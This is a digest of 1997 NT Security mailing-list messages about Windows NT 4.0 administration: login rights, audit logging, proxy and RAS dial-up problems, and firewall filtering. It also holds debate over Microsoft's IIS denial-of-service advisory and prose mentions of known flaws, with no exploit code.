> speaking as an old-fashioned hacker I'd much rather they used
> 'cracker' or even 'scum'.

>From what I read of the orignial article released by the person
who found the bug, his behavior does not at all approach that
of a hacker or 'cracker'.

Before you release a piece of code, you should be sure that it
can accept garbage on all inputs. This is especially true if
the code is server code. Microsoft should have run this test.
If someone runs this type of test against your system, and your
system fails it, then you have not done your job. That person
should not be vilified in any way.

So who was the "bad guy" that found the OOB flaw in Microsoft's
TCP stack? Is there some reason why this bug should have not
been found in normal testing? Garbage in should not produce 
garbage out.

-leonard
The other problem could be that the security log is full. This allows only 
administrators to log on.

Check the setting of the following registry key:
 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\CrashonAuditFail

Setting the key back to 1 will allow normal logins again. (If this occurs 
after
an audit failure, the log needs cleaned up or resized first, of course.)
You will need to reboot the server after chaning the key.

Regards

Ben Thomas
BA(Th), MCT, MCSE, MCSD

mailto://bthomas@pro.co.nz
http://www.pro.co.nz

Ph: Intl+64 (4) 577 3771
Fx: Intl+64 (4) 577 3772
Mobile: 025-59 59 59


-----Original Message-----
From: Tom Kiernan [SMTP:tkiernan@orcc.com]
Sent: Thursday, June 26, 1997 7:02 AM
To: 'Ben Thomas'; NT Security Mailing List (E-mail)
Subject: RE: [NTSEC] workstation login

I should have been clearer in my original message. The user accounts in 
question are members of the standard user group. I checked to make sure 
that the "log on locally" right has been assigned to the group and have 
even tried to add "log on locally" to specific user accounts. The results 
were the same. The accounts were refused access to the workstation.

Someone has suggested that it might have something to do with the 
workstation having once been a member of a domain and later removed (now it 
is setup for workgroup/standalone). So maybe that is a clue. It doesn't 
seem like it should have anything to do with it. I am not sure what the 
fix would be in that case.

Thanks
Tom



-----Original Message-----
From: Ben Thomas [SMTP:bthomas@pro.co.nz]
Sent: Wednesday, June 25, 1997 6:48 AM
To: 'Tom Kiernan'; NT Security Mailing List (E-mail)
Subject: RE: [NTSEC] workstation login

Check the "log on locally" user right.

Regards

Ben Thomas
BA(Th), MCT, MCSE, MCSD

mailto://bthomas@pro.co.nz
http://www.pro.co.nz

Ph: Intl+64 (4) 577 3771
Fx: Intl+64 (4) 577 3772
Mobile: 025-59 59 59


-----Original Message-----
From: Tom Kiernan [SMTP:tkiernan@orcc.com]
Sent: Wednesday, June 25, 1997 2:40 AM
To: NT Security Mailing List (E-mail)
Subject: [NTSEC] workstation login

Here's a weird question. I have a pretty clean NT 4.0 workstation system
that I have just finished installing. I had done everything up until now
using the administrator account and privileges since I was installing, etc. 
 When I created some regular user accounts, the accounts cannot log in.
 The error given is that the account doesn't have permission to log into
*this* workstation. This is a stand alone workstation in a small workgroup 
with 1 or 2 other NTWS systems (which work fine). Since this is not in a
domain, there is no provision to set workstation by workstation login
privileges as with domains.

The admin accounts can always log in. My inclination is that I can log in
as admin because something is confused and NT is letting the admin accounts 
in, overriding or ignoring whatever the error condition is that might
prevent less privileged logins.

Details:

NT workstation 4.0 sp3
Operating outside a domain
User accounts are valid and not disabled, nothing obvious like that
Admin accts work fine
User, power user accounts don't work

There must be some permission that I have set incorrectly, or that NT has
decided to help me by setting for me.

Any help would be appreciated,

Tom


Tom Kiernan
Senior Software Engineer
Online Resources and Communications Corporation
tkiernan@orcc.com
www.orcc.com



I just tried downloading some files.

It was a simple url that lunch a dll for downloading.
but I GOT THE BINARY OF THE DLL instead of the file i wanted.

I guess that this problem is caused by 'execute option' setting on
internet information server manager. 

 biscuit
Just a couple of suggestions...
Check out Dumpevt by Somarsoft (www.somarsoft.com).
Bindview (www.bindview.com) has their Enterprise Management System that
will produce audit reports.


 Kj

----------
> From: Leonardo.Soares.Leite@abnamro.com
> To: ntsecurity@iss.net
> Subject: [NTSEC] Audit utility
> Date: Tuesday, June 24, 1997 5:50 PM
> 
> 
> 
> 
> 
> 
> 
> Hi folks,
> 
> 
> I was wondering if anyone on this list knows a log/audit utility
for
> NT 4.0 server (like AuditTrack for NetWare).
> 
> Thanks,
> 
> Leo.
> 
> 
John,

Have a look at Diskeeper from http://www.executive.com/ I
have used this product with not problems, note however
that it has to be uninstalled to apply service packs if you
are running NT3.51, when running NT4.0 it is unaffected by
service pack application.

One other point is that it does a much better job if installed
almost straight after NT, as it cannot move disk blocks containing
directories, they say that all NT defragmentation utilities have
this limitation.

In summary Diskeeper was a good thing for me.

Regards
Rob Barnes

> -----Original Message-----
> From: John Gould [SMTP:johng@powinv.co.uk]
> Sent: Wednesday, June 25, 1997 8:32 PM
> To: ntsecurity@iss.net
> Subject: [NTSEC] Disk defragmentation
> 
> Sorry this is not directly related to security but...
> Does anyone know of, and have any experience of a good disk
> defragmentation utility for NTFS partitions?
> 
> Regards JohnG.
> 
> --
> John Gould - Senior Systems Support Engineer
> Power Innovations Limited, Manton Lane, Bedford, MK41 7BJ, England
> PGP - Public key available
> email: johng@powinv.co.uk
> Tel: +44 1234 223002 Fax: +44 1234 223011
> --
> ------- Start of forwarded message -------
> References: <199706212158.XAA01904@aemiaif.ibp.fr>
> Message-ID: <3.0.2.32.19970624161616.00e701e8@itol.com>
> Date: Tue, 24 Jun 1997 16:16:16 -0500
> Reply-To: Joe Konopka 
> From: Joe Konopka 
> Subject: Re: Simple TCP service can hang a system
> To: BUGTRAQ@netspace.org
> 
> At 10:06 PM 6/21/97 -0400, you wrote:
> >Willy TARREAU enscribed thusly:
> >
> >> Hi !
> >
> >> I've noticed that inetd doesn't check the source port for the
> request
> >> to UDP simple services (echo, time, chargen, daytime).
> >
> >> This means it is possible to build a packet which will look like it
> comes
> >> from one of these ports, to one of these ports. In this case, each
> UDP
> >> response from the simple service will generate a new request to the
> source
> >> port and the system or network can be quickly overloaded.
> 
> [parts deleted]
> 
> >> I tested Netware Client 32 for DOS/Windows, and it simply hangs.
> Not tested
> >> yet on Win95/NT/Netware...
> 
> FYI, under WinNT 4.0, this causes 99% CPU usage in TCPSVCS.EXE, and
> can be
> fixed by stopping and restarting "Simple TCP/IP services".
> 
> ------- End of forwarded message -------
The most serious hacker actions I have known had nothing to do with kids playing with a computer. They were always because a question of competence or similar.

----------
From: Dominique Brezinski[SMTP:dominique.brezinski@CyberSafe.COM]
Sent: miércoles 25 de junio de 1997 4:56
To: Michael E. McKay; ntsecurity@iss.net
Subject: Re: [NTSEC] Official Microsoft response to ISS denial of service bug

At 11:12 AM 6/24/97 -0400, Michael E. McKay wrote:
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>MICROSOFT NEWS 
>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>MICROSOFT RESPONDS TO INTERNET INFORMATION SERVER DENIAL OF SERVICE
>ISSUE
>Microsoft has identified an IIS issue which can be exploited by a
>malicious hacker, making IIS temporarily unavailable. 

Is it only hackers that do things like this? Can we say hostile
competitors, or maybe religious zealots, and what about political
terrorists? Who writes these things anyways. Microsoft get real. It does
not take much skill to exploit problems like the one mentioned in the
article (how much skill does it take to program something resistant to such
attacks?), so one does not have to be a hacker techno geek to attack you. I
only write this because the stereo type portrayed by the Microsoft News
article does nobody any good.

 


Dominique Brezinski
----------------------------------------------------
My opinions expressed here, and in any public forum, 
are my own and do not represent those of my employer 
or its clients. I am an individual, and I will 
retain those rights of free speech granted to me, 
regardless of my employment status. 



I am experimenting with R&RAS at the moment and am seeing
"unexpected" connections being made over the link to my ISP.
I turned event logging up to full and it tells me that a DNS
request is periodically bringing the link up, BUT it is a UDP
packet and my output filters are set up to block ALL UDP packets.
So why are blocked packets initiating a connection?

Anyone else seeing the same or know what is wrong?

Regards
Rob Barnes

-----Original Message-----
From: Joel W. Barrett [SMTP:cnebody@mindspring.com]
Sent: Wednesday, June 25, 1997 10:57 PM
To: NT Security List Service (E-mail)
Subject: [NTSEC] MS Proxy vs. R&RAS dial-up

I've been using Proxy for the last couple weeks and am thoroughly
unimpressed 
by its dial-up capabilities. I have continuously had the problems listed
below:
- spurious dial-up connections to my ISP. These are not initiated by 
anything... the modem just starts dialing and then connects and doesn't 
automatically disconnect unless I hang up the line.
- client problems - sometimes the config at the client works fine,
sometimes it 
doesn't. This is especially evident during POP3 and SMTP message
transfers. MS 
Outlook will popup a message stating that the SMTP server cannot be
found and 
give me a chance to change the server location. Hitting [Enter] with no
changes 
connects and retrieves messages.
- I get similar problems when using a browser - sometimes it finds the
webpage 
and loads it, sometimes it just reports "No response from HTTP server."

What I want is the ability to setup a few clients to share a modem which
dials 
an ISP to send and retrieve email and the occasional webpage. This is a
very 
small network and we don't want to install modems in every PC, nor do we
want 
to run phone lines to every machine (10BaseT network cabling is already
in 
place). I also want to use a MS product to do this because I want to
apply that 
knowledge toward my MCSE certification.

MS Proxy does this but not reliably, certainly not as reliably as some
of the 
other products like WebEtc. Does R&RAS do this, and if so then what are
the 
significant differences between R&RAS and Proxy? Does R&RAS also require
that 
IIS be installed? Does R&RAS have these spurious dial attempts also? How
does 
it handle ISP connections where the IP address may change for each
login?

Joel






--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!




Is it possible to demote a Primary Domain Controller to a standalone
server? If so, how?
Thanks in advance,

-Simon

 -----Original Message-----
 From: Joel W. Barrett [SMTP:cnebody@mindspring.com]
 Sent: Wednesday, June 25, 1997 7:57 AM
 To: NT Security List Service (E-mail)
 Subject: [NTSEC] MS Proxy vs. R&RAS dial-up

 I've been using Proxy for the last couple weeks and am
thoroughly unimpressed 
 by its dial-up capabilities. I have continuously had the
problems listed below:
 - spurious dial-up connections to my ISP. These are not
initiated by 
 anything... the modem just starts dialing and then connects and
doesn't 
 automatically disconnect unless I hang up the line.

 Depending on how you set the slide bars and configure the
caching, the proxy server will attempt to update web pages in the cache.
I have seen Q articles that describe what happens here. I've taken the
1 day MS course on the proxy server, and the instructor claims that the
proxy server will monitor the usage patterns when determining how to
update the cache. I have not had the time to sit up all night to watch
what happens, but in theory it should try to update the cache when you
are not actively using the connection.

 - client problems - sometimes the config at the client works
fine, sometimes it 
 doesn't. This is especially evident during POP3 and SMTP message
transfers. MS 
 Outlook will popup a message stating that the SMTP server cannot
be found and 
 give me a chance to change the server location. Hitting [Enter]
with no changes 
 connects and retrieves messages.

 Users must always be able to connect to the \\server\mspclnt
share to use the Winsock proxy. If they cannot access the share (not
logged in), Winsock applications like POP3 mail will fail. Make sure
that all users have rights to the share.

 - I get similar problems when using a browser - sometimes it
finds the webpage 
 and loads it, sometimes it just reports "No response from HTTP
server."

 I have had problems with the settings for the default gateway,
and having the proxy not knowing where to send packets. Do not use a
default gateway on the private network segment if there is no router
present. There is also a Q article on setting static routes with the
proxy.

 What I want is the ability to setup a few clients to share a
modem which dials 
 an ISP to send and retrieve email and the occasional webpage.
This is a very 
 small network and we don't want to install modems in every PC,
nor do we want 
 to run phone lines to every machine (10BaseT network cabling is
already in 
 place). I also want to use a MS product to do this because I
want to apply that 
 knowledge toward my MCSE certification.

 I have used com port sharing software that allows multiple users
to access a modem(s) in a server. Check out www.saps.com.

 MS Proxy does this but not reliably, certainly not as reliably
as some of the 
 other products like WebEtc. Does R&RAS do this, and if so then
what are the 
 significant differences between R&RAS and Proxy? Does R&RAS also
require that 
 IIS be installed? Does R&RAS have these spurious dial attempts
also? How does 
 it handle ISP connections where the IP address may change for
each login?

 To use R&RAS, you will need to assign IP addresses to each
client, since it will only route packets. I don't think you can use
DHCP to get your IP addresses. You will also be exposing your server if
you route through it.

 Joel
 

 --
 Joel W. Barrett, Internetworking Consultant
 RPM Associates, Inc. http://www.rpm.com
 email: jbarrett@rpm.com, pager: 888-602-4566
 http://www.mindspring.com/~cnebody (12/17/96)
 Do Something Digital!


Dave Tyree
Young Tree Systems
DaveTyree@YoungTree.com
 312-726-2524
I am trying to configure a dual homed Exchange server with one NIC on
the
local network and one connected to the Internet through a router. I
know
that Exchange wants to send SMTP mail on port 25 and
that it needs DNS (port 53?)to resolve names.

I have installed Steelhead and tried to setup an input filter that will
only allow these ports
through (both TCP & UDP). I have also allowed all ICMP through so I can
test DNS with a ping. After enabling the filter, I am able to ping by
IP
address, but not by name. I am also unable to telnet on port 25 from
another workstation on the public subnet to the server. I have not
configured any
output filters. The source and destination addresses and masks are
blank, and the source and destination ports are both set to either 25 or
53. What am I doing wrong?

Ultimately I want to secure my Exchange server so that only SMTP mail is
able to pass on this NIC. Is this the best strategy or is it better to
allow everything and just block the unsecure ports (135, 137, 138 &
139)? 
Thanks for your help.





Dave Tyree
Young Tree Systems
DaveTyree@YoungTree.com
312-726-2524

> Barring that, the "shutdown" actually shows up as a Dr. Watson. So I
> don't think it's part of the normal stuff.
> 
> yadda, yadda, conspiracy theory, blah, blah, Roswell, yadda, yadda ...

OK, I've received everything from "you should be writing for
'The X-Files'" to "what do you expect from Microsoft" to "you
take a simple buffer overflow and make World War III."

After digging through the details, I admit that I went off the deep
end. It's interesting to note, however, that several other people
arrived at the same conclusion I did - that the early Microsoft talk
of "very special URLs" and "varies by server and by the current state
of the server (current memory, current load..." seemed to indicate
something much more serious than the ultimate cause. (I *still*
don't understand the origin of those comments, in the context of
the buffer overflow bug - what the heck does current load/memory
have to do with it?)

It has also been reported to me that some IIS servers are crashing
(using the now-removed ServerSlayer applet from Todd Fast) with 
URLs of lengths around 4K. 

I feel properly chastened/embarrassed, but I do hope that this il-
lustrates - to Microsoft - the need for accurate announcements. 

You can accuse me of being overly paranoid, but that behavior was
learned in surviving SP2, dealing with OOB, threshing a myriad of
NetWare/IPX glitches and having to bookmark the hotfix directories 
on ftp.microsoft.com. 8)

Now, if you'll excuse me, I have to go rendezvous with my colleagues
from Alpha Centauri - they have some questions about bovine anatomy.

--Wes

This is quite possibly the same thing that is happening to my system.

You forgot to CC the NT Sec list so I'm doing it for you.

Any suggestions people?

--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!



-----Original Message-----
From: Robert Barnes [SMTP:rab@stallion.oz.au]
Sent: Wednesday, June 25, 1997 8:15 PM
To: 'Joel W. Barrett'
Subject: RE: [NTSEC] MS Proxy vs. R&RAS dial-up

I am experimenting with R&RAS at the moment and am seeing
"unexpected" connections being made over the link to my ISP.
I turned event logging up to full and it tells me that a DNS
request is periodically bringing the link up, BUT it is a UDP
packet and my output filters are set up to block ALL UDP packets.
So why are blocked packets initiating a connection?

Anyone else seeing the same or know what is wrong?

Regards
Rob Barnes

> -----Original Message-----
> From: Joel W. Barrett [SMTP:cnebody@mindspring.com]
> Sent: Wednesday, June 25, 1997 10:57 PM
> To: NT Security List Service (E-mail)
> Subject: [NTSEC] MS Proxy vs. R&RAS dial-up
> 
> I've been using Proxy for the last couple weeks and am thoroughly
> unimpressed 
> by its dial-up capabilities. I have continuously had the problems
> listed below:
> - spurious dial-up connections to my ISP. These are not initiated by 
> anything... the modem just starts dialing and then connects and
> doesn't 
> automatically disconnect unless I hang up the line.
> - client problems - sometimes the config at the client works fine,
> sometimes it 
> doesn't. This is especially evident during POP3 and SMTP message
> transfers. MS 
> Outlook will popup a message stating that the SMTP server cannot be
> found and 
> give me a chance to change the server location. Hitting [Enter] with
> no changes 
> connects and retrieves messages.
> - I get similar problems when using a browser - sometimes it finds the
> webpage 
> and loads it, sometimes it just reports "No response from HTTP
> server."
> 
> What I want is the ability to setup a few clients to share a modem
> which dials 
> an ISP to send and retrieve email and the occasional webpage. This is
> a very 
> small network and we don't want to install modems in every PC, nor do
> we want 
> to run phone lines to every machine (10BaseT network cabling is
> already in 
> place). I also want to use a MS product to do this because I want to
> apply that 
> knowledge toward my MCSE certification.
> 
> MS Proxy does this but not reliably, certainly not as reliably as some
> of the 
> other products like WebEtc. Does R&RAS do this, and if so then what
> are the 
> significant differences between R&RAS and Proxy? Does R&RAS also
> require that 
> IIS be installed? Does R&RAS have these spurious dial attempts also?
> How does 
> it handle ISP connections where the IP address may change for each
> login?
> 
> Joel
> 
> 
> 
> 
> 
> 
> --
> Joel W. Barrett, Internetworking Consultant
> RPM Associates, Inc. http://www.rpm.com
> email: jbarrett@rpm.com, pager: 888-602-4566
> http://www.mindspring.com/~cnebody (12/17/96)
> Do Something Digital!
> 
> 

Thanks. I've disabled the Active Caching and will monitor it to see if the 
spurious dial-ups continue.

--
Joel W. Barrett, Internetworking Consultant
RPM Associates, Inc. http://www.rpm.com
email: jbarrett@rpm.com, pager: 888-602-4566
http://www.mindspring.com/~cnebody (12/17/96)
Do Something Digital!



-----Original Message-----
From: Romulo Moacyr Cholewa [SMTP:rcholewa@elogica.com.br]
Sent: Wednesday, June 25, 1997 8:59 PM
To: Joel W. Barrett
Subject: Re: [NTSEC] MS Proxy vs. R&RAS dial-up

Regarding to the problem of dialing the ISP, it is caused by the Active 
Caching. Active caching will retrieve pages in non-use hours, mainly when 
nobody is accessing the 'net. This causes autodial to interpret as a request, 
it it will dial out to the ISP. Best solution: disable the Active caching.
Best Regards,

Romulo Moacyr Cholewa - MCT, MCSE. ICQ UIN: 832755
mailto:rmcholewa@poboxes.com http://www.elogica.com.br/users/rcholewa
"Strong cryptography makes the world a safer place."
A msg secreta no desafio do RSA DES. DES morto em 17/06/97
 ----
From: Joel W. Barrett 
To: NT Security List Service (E-mail) 
Date: Quarta-feira, 25 de Junho de 1997 20:48
Subject: [NTSEC] MS Proxy vs. R&RAS dial-up


I've been using Proxy for the last couple weeks and am thoroughly unimpressed 
by its dial-up capabilities. I have continuously had the problems listed below:
* spurious dial-up connections to my ISP. These are not initiated by 
anything... the modem just starts dialing and then connects and doesn't 
automatically disconnect unless I hang up the line.



Hi,

we have a NTWorkstation 4 (NTServer 4 is comming this week) and want/need
to audit special directories _and_ the admin. So we made some tests and
where disappointed about the results.

We activated auditing, installed a group AUDIT. The ADMIN was not a member
of this group. We gave only AUDIT-users the right to manage the Logs. The
Logs were set to 1024 KB and 14 days overwrite.

First problem: The ADMIN deleted the logs. Trying to see the audit-settings
where forbidden to ADMIN saying "no access", but deleting was possible. Is
there a way to prevent this?

Second problem: The log was full (1024 size) before the 14 days werte over
but no message came up to warn about this and some activities got lost. Is
there a way to prevent this ?

Third problem: the ADMIN was able to change the right to manage the logs,
back to himself. Is there any way to prevent this?

Thanks for any help

Helmut Teppich


___ . ___ .___. ___ .___ . ___ .___
Helmut Teppich * Berlin / Germany
heltepp@berlin.snafu.de
Fax: +49+30 788 15 80
___ . ___ .___. ___ .___ . ___ .___
send via Eudora Pro 3.0.2 for Macintosh




> >3. Detect and report unauthorized attempts to access your private
> >network or servers on the public network.
> 
> Although you sort of included this in #3, I'd add "Full logging of all
> actions, both permitted and denied" which the MS Proxy also doesn't do, at
> least not for inbound services that are blocked or not enabled.

Speaking of which, has anyone seen any analysis tools for 
MS Proxy server logs? I'm thinking about creating a little 
VB app for in-house use, but there just are not enough hours 
in the day. If it helps, I'm logging to a SQL database.

Thanks,
anthony
MS are traditionally playing down the issue as they always do when they
didn't find the problem in the first place. Their reaction reminds me of
my young nephew when he is told he has done wrong, childish.

My 0.0332 cents worth (0.02 GBP converted)



Clem.Dye@gb.swissbank.com wrote:
> 
> Frankly, I find this type of announcement very irritating. Microsoft did not
> identify the problem in their IIS code, somebody else did.
> 
> Yet more M$ whitewash, methinks .....
> 
> Clem
> 
> ______________________________ Reply Separator _________________________________
> Subject: [NTSEC] Official Microsoft response to ISS denial of servi
> Author: mckaymi (mckaymi@dti.net) at unix,mime
> Date: 24/06/97 16:12
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> MICROSOFT NEWS
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> MICROSOFT RESPONDS TO INTERNET INFORMATION SERVER DENIAL OF SERVICE ISSUE
> Microsoft has identified an IIS issue which can be exploited by a malicious
> hacker, making IIS temporarily unavailable. It does not effect Windows NT
> Server or comprimise sensitive data in any way. However, it forces IIS to
> become unavailable for a short time and is easily remedied by restarting
> the web server. Microsoft takes issues like these very seriously and has
> responded rapidly by addressing the issue with a permanent fix that
> prohibits this specific type of attack and also records the IP address of
> the attacker in a log file. For details on this issue, visit:
> http://www.microsoft.com/iis/iisnews/hotnews/issue.htm
> 
> The Hot-fix for this specific issue, available on the Microsoft Web site
> today at:
> 
> ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP
> 3/iis-fix.
> 
> --
> ---------------------------------------------------
> Michael McKay | Phone: 212-695-5445
> MasterNet, Inc. | Fax: 212-643-2384 134
> W. 32nd St., Suite 400 | Email: mckaymi@dti.net New
> York, NY 10016-3201 |
> ---------------------------------------------------
> 
> "Imagine, if you will,
> a world without hypothetical situations."

-- 
--------------------------------------------------------------------
Steve Toomey | EMail : toomeys@dircon.co.uk 
London, UK | Home Page :
Mobile : 44 (0)468 720960 | http://www.users.dircon.co.uk/~toomeys
Office : 44 (0)171 392 3609 |
--------------------------------------------------------------------
to your mailing list! Thanks!
Magnus L||f
Unisys Professional Services
Solna, Sweden
http://www.unisys.se

Personal Homepage:
http://hem1.passagen.se/magster

Don't put down to an attack what can adequately be explained by years of
experience with M$ software...

I have exactly the same problem, and for months I traced logs, sifted
through megabytes of captured packets from my router, and generally
buggered around... I even left it disconnected from the outside world for
three days... can't get much more secure than that... like you, memory
showed no indication of any problem, Both CPUs are idle, and the system's
running like an XT on Valium...

These days, I simply re-boot the bloody thing once a week, just before I do
a backup - it's been fine since...

Regards

Bob


 Hi,
 
 I hear that diskkeeper is quite good.
 
 Keith.


______________________________ Reply Separator _________________________________
Subject: [NTSEC] Disk defragmentation
Author: John Gould at btsdub-inet
Date: 25/06/97 11:32


Sorry this is not directly related to security but...
Does anyone know of, and have any experience of a good disk 
defragmentation utility for NTFS partitions?
 
Regards JohnG.
 
--
John Gould - Senior Systems Support Engineer
Power Innovations Limited, Manton Lane, Bedford, MK41 7BJ, England 
PGP - Public key available
email: johng@powinv.co.uk
Tel: +44 1234 223002 Fax: +44 1234 223011 
--
 
On Wednesday, June 25, 1997 11:53 PM, Park Byungchan 
[SMTP:chickman@kol.net] wrote:

> I just tried downloading some files.
>
> It was a simple url that lunch a dll for downloading.
> but I GOT THE BINARY OF THE DLL instead of the file i wanted.

I hope it's an interesting one ;-(.

My recent experiences with www.microsoft.com are rather bumpy lately :
- Getting tons of "Object not found" or "Server too busy" displaying in 
some frames in pages likes /iis or /ntserver.
- It often takes a couple of refresh to have the page properly displayed 
(entirely).
- Some URLs on pages, especially long ones (????) give either of the 
previously mentioned errors.
- If you try and figure the target page exact name and use it instead, no 
problems.

FTP is fine so far (except that a long url on www.microsoft.com referring 
to a file in the the softlib, for instance, leads you to nowhere, unless 
you direct an FTP request for the file at the proper location at 
ftp.microsoft.com).

>
> I guess that this problem is caused by 'execute option' setting on
> internet information server manager.
>
> biscuit

It might also be a side-effect of the currently ongoing upgrade of their 
site ?

Cheers,

Olivier.

Leonard Timmons writes:

> Piers Cawley wrote:
> > At least they had the decency to use the phrase `malicious hacker',
> > tacitly accepting that not all hackers are malicious. However,
> > speaking as an old-fashioned hacker I'd much rather they used
> > 'cracker' or even 'scum'.

Seems I need to qualify this a little -- I was in /no/ way impugning
the motives of the chap who found the bug, I was merely commenting on
the fact that the wording or Microsoft's press release did at least
imply that 'hacker' does not necessarily imply 'malicious'.

> 
> From what I read of the orignial article released by the person
> who found the bug, his behavior does not at all approach that
> of a hacker or 'cracker'.

Ah, first we have naming of parts methinks. The sense in which I'm
using hacker when describing the person who found the bug is the old,
positive, sense of 'one who is curious about/playful with technology',
not in it's more modern misused sense of 'one who maliciously breaks
into computer systems'.

> Before you release a piece of code, you should be sure that it
> can accept garbage on all inputs. This is especially true if
> the code is server code. Microsoft should have run this test.
> If someone runs this type of test against your system, and your
> system fails it, then you have not done your job. That person
> should not be vilified in any way.

Absolutely. And if my initial post gave the impression that the person
who found this hole deserves vilification then I unreservedly
apologize for my muddy writing.

> So who was the "bad guy" that found the OOB flaw in Microsoft's
> TCP stack? Is there some reason why this bug should have not
> been found in normal testing?

None whatsoever. The fact that these bugs keep getting found strongly
implies to me at least that Microsoft are at the very least desultory
in their security, if not actually negligent.

> Garbage in should not produce garbage out.

Depends what sort of garbage. Certainly garbage in should not produce
blue screens or halted services. However, experience on multiple OSes
has shown how often this ideal is not attained. UNIX at least had the
excuse that it was a product of more innocent times when network
security was considered unnecessary because there was nothing really
important on the servers and everyone knew everyone else anyway. (As
an aside, I personally am very pleased that some of this attitude
still survives -- I recently had a very enjoyable holiday in the
States that would not have been half so much fun if it weren't for the
kindness of familiar strangers I met on the 'net.)

The world has changed since then and UNIX has built itself a
drawbridge and mostly pulled it up. Sure people are still finding bugs
but because the system is well understood they tend to get fixed more
or less promptly.

NT is a child of more worldly times. That we are currently finding
childish holes that were understood and closed long ago on other,
older OSes is, quite frankly, unforgivable. What /are/ Microsoft
thinking of. I know that NT is not supposed to be UNIX, I know that
many of it's design goals and concepts differ radically, but buffer
overruns, ill thought out permissioning and a painfully innocent trust
of external code/data are all problems that should have been solved
before the product got out the door. All they had to do was take a
look at the CERT archive for a few pointers to the kind of attacks
that caused problems for other systems and to write code so as to
avoid that, it's not hard to do (well, not *that* hard anyway).

-- 
Piers Cawley -- Systems Genie for Aladdin
If a `religion' is defined to be a system of ideas that contains
unprovable statements, then Godel taught us that mathematics is not
only a religion, it is the only religion that can prove itself to be
one. -- John Barrow
Recently I've faced the following problem:

There is a small LAN with:
1 PDC (call it X)
3 NTWS (call them X1, X2, X3)
1 Win95 (call it X4)

There are some users with thei own account (call them u1, u2, u3)
and some other users who use an account called Joe.

All these users are supposed to use roaming profiles,
so there is a share on the X called profiles, which contains
all the profiles for each user.
In the User manager for Domains I have added 
the path \\X\profiles\ for the profile path

Joe is supposed to have restricted access to the network resources
so I've created a policy file (NTconfig.pol) and put it on NETlogon
directory. Joe was supposed not to have access to 
control panel, and to have a specific desktop with just a few specific
icons on it.

This is the configuration. The problem is that recently, when the
NT workstations boot and the user wants to logon, the roaming
profiles are not loaded for the users u1,u2,u3 and a message
"Cannot load the locally stored profile. Creating a new local profile
Error 1009" is appearing on the screen.
The result is that users u1,u2,u3 lose continuously their settings,
and they get a desktop different from the one they were supposed to have
(they were supposed just to see one icon for each application they use)

If anyone had faced the same problem , please contact me at:
pirot@forthnet.gr

Thanks in advance,
Panayotis Ipirotis

--
\ / Ipirotis Panayotis (Pete Pirot, the pirate parrot pilot)
 \\ // Student of Computer Engineering and Informatics Department
 \\' , / // of the University of Patras, Greece
 \\\// _/ //'
 \_-//'/ //<' e-mail: pirot@forthnet.gr, pirot@ceid.upatras.gr
 \ /// > \\\`
 /,)-^>> _\` home-page: http://www.ceid.upatras.gr/~pirot/ 
 (/ \\/ \\\
 // //\\\ Love is a lie, life is a lie,
 // // \\ but I love life's lie and I live for the lie of love ...
------((`-((`----------------------------------------------------------------

To all those you requested my RUNAS program. Another Phil B
(philipb@omnicell.com) pointed me to a much cleaner implementation, saving
me the time of cleaning it up myself. It's a NT service based
implementation which get around some problems with the application based
solution.

http://www.informatik.hu-berlin.de/~skrause/sunt.html

I have not tried it myself yet (no time). If it dosn't work, let me know.

-Phil
Senior Technology Architect
Inso Corporation
pboutros@inso.com


AbirNet SessionWall-3 does the audit and tracking of winodws 4.0 network activity
you can download the evalaution version from http://www.abirnet.com
hope this helps
Ziv
--- On Wed, 25 Jun 1997 18:23:50 -0400 "J. Kevin Jackson" wrote:
> Just a couple of suggestions...
> Check out Dumpevt by Somarsoft (www.somarsoft.com).
> Bindview (www.bindview.com) has their Enterprise Management System that
> will produce audit reports.
> 
> 
> Kj
> 
> ----------
> > From: Leonardo.Soares.Leite@abnamro.com
> > To: ntsecurity@iss.net
> > Subject: [NTSEC] Audit utility
> > Date: Tuesday, June 24, 1997 5:50 PM
> > 
> > 
> > 
> > 
> > 
> > 
> > 
> > Hi folks,
> > 
> > 
> > I was wondering if anyone on this list knows a log/audit utility
> for
> > NT 4.0 server (like AuditTrack for NetWare).
> > 
> > Thanks,
> > 
> > Leo.
> > 
> > 




You can demote a PDC to a BDC, but to go from a PDC to a member server you
must reinstall NT.





Is it possible to demote a Primary Domain Controller to a standalone
server? If so, how?
Thanks in advance,
-Simon



What are the possible consequences of running RAS and the firewall on
the same server. I need a new firewall but I don't have the budget. I
do have the budget for a new RAS server however, and was wondering if I
could kill two birds with one stone.

Thanks,

Ron Owen
rowen@infodata.com

Can someone help:

How does one implement a POP-3/SMTP environment with the message store on the 
inside of the firewall and a PPP/POP-3 Exchange server on the outside of the 
firewall. The firewall is Gaunlet with SMAP processing the SMTP messages. The 
requirement is for a user to dial-in to the RAS/PPP/POP-3 server on the 
untrusted side and the client can request for their e-mail. They do not want 
to store or duplicate messages on the outside Exchange server.
Also, they are not very keen to use PPTP. They don't want the users to dial 
into a server that is inside the firewall so that no internal resources are 
jeopardised. The dial-up server will be used for Web access and e-mail 
collection.

Any help would be appreciated.
Thanks
Mark
Hi Michael,


There is BIG BUG with NT 4.0 server. Hackers send request on port 129 or 139 on
the server. This utilizez the CPU to %100. 
MS is aware of this problem. They should have patch for this very soon. Check 
MS's URL for NEW PATCHES.




Regards,

Nick Nikjoo ESN 393-2134
CRK/CSA Tel. (613)-763-2134
CRK_Network Planner Fax. (613)-763-8825
******************* Email nickn@nortel.ca

[Bill Kearney] 

Well, if by ADMIN you mean what NT considers the system administrator
(Administrator) then there's not really much you can do about it.
They're called the admin for a reason and total access to files is part
of what admin access is designed to allow.

What might not be clear is that no one user really needs (or should) log
in as the administrator on anything other than an infrequent basis.
Create another user and give it Administrator-like privileges instead. 

